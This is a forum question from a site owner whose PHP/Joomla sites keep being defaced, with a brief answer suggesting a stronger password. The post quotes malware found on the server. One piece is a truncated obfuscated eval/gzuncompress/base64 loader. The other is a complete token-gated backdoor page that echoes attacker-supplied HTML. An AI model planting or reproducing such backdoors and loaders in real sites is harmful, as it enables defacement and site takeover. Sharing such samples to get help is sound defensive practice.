Php – front page keeps getting hacked

hackingPHPwebsite

A similar attack keeps happenning on two of my sites (one is running latest Joomla, one is not).

It usually says "hacked by general" or something similar. When I check the files on one of them, there's a php file with similar code:

eval("?>".gzuncompress(base64_decode("eJzUvWmT4kiyKPp9... etc.

I also found a weird htm file that has a lot of messy code. If you need I can post these files zipped somewhere.

The attacks are always just an altered index page and this weird php file (but this time there was also another php page with this code:

<?php
if ($_GET['randomId'] != "Wo9QPY5euhw0bEKfNve82PW926VyluUh2HA3FGAidHDwA7h3wwZCOA2F2kva028q") {
    echo "Access Denied";
    exit();
}

// display the HTML code:
echo stripslashes($_POST['wproPreviewHTML']);

?>  

I have restored the original index page but this is getting really annoying. I am also checking my pc for trojans as I've read that someone might have stolen my ftp credentials with a trojan (but for this one site I didn't even use ftp).

Help!

Best Answer

Have you changed your password to something more secure?